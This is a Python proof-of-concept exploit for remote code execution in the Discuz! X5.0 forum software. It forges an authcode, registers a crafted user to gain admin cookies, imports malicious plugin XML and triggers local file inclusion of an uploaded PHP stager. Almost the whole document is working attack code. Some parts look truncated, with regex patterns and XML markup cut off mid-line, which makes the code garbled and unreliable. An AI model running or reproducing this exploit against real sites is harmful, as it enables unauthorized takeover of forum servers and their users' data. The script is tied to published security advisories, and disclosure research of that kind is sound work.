# ------------------------------------------ # Discuz! X5.0 Remote Code Execution Exploit # ------------------------------------------ # # author..............: Egidio Romano aka EgiX # mail................: n0b0d13s[at]gmail[dot]com # software link.......: https://www.discuz.vip # # +-------------------------------------------------------------------------+ # | This proof of concept code was written for educational purpose only. | # | Use it at your own risk. Author will be not responsible for any damage. | # +-------------------------------------------------------------------------+ # # [-] Original Advisories: # # https://karmainsecurity.com/KIS-2026-09 # https://karmainsecurity.com/KIS-2026-10 # https://karmainsecurity.com/KIS-2026-11 # # [-] Technical Writeup: # # https://karmainsecurity.com/chaining-bugs-in-discuz-from-race-condition-to-rce import subprocess import threading import requests import secrets import base64 import time import sys import re def get_authcode(url, payload): params = {"username": payload, "password": 1, "lssubmit": 1} res = requests.post(url + "member.php?mod=logging&action=login&loginsubmit=yes", data=params) match = re.search(r"auth=([^&]+)", res.text) return match.group(1) if match else sys.exit("[!] Exploit failed: authcode not found") def register_user(url, admin_md5): username = admin_md5 + "\t1\t" + secrets.token_hex(4) print("[+] Registering new 'special' user") print(f"[+] Username: {username}") session = requests.Session() res = session.get(url + "member.php?mod=register") match = re.search(r' Discuz! Plugin X5.0 1337 PLUGIN_ID """ params = {"dir": "myrepeats"} files = {"importfile": ("importfile.xml", xml_data.replace("PLUGIN_ID", "p_" + secrets.token_hex(8)))} requests.post(url + "admin.php?action=plugins&operation=import&importtype=file&ignoreversion=1&installtype=", cookies=admincp_cookies, data=params, files=files) print("[+] As admin: importing Local File Inclusion (LFI) plugin") xml_data = """ Discuz! Plugin X5.0 1337 ../../data/attachment/common/cf/ PLUGIN_ID ENABLE_FILE """ params = {"dir": "myrepeats"} files = {"importfile": ("importfile.xml", xml_data.replace("ENABLE_FILE", stager_filename).replace("PLUGIN_ID", "p_" + secrets.token_hex(8)))} res = requests.post(url + "admin.php?action=plugins&operation=import&importtype=file&ignoreversion=1&installtype=", cookies=admincp_cookies, data=params, files=files) match = re.search(r"`pluginid`='(\d+)", res.text) plugin_id = match.group(1) if match else sys.exit("[!] Exploit failed: plugin_id not found") print("[+] As admin: triggering PHP stager LFI") res = requests.get(url + "admin.php?action=plugins", cookies=admincp_cookies) match = re.search(r'\n" % sys.argv[0]) exploit(sys.argv[1])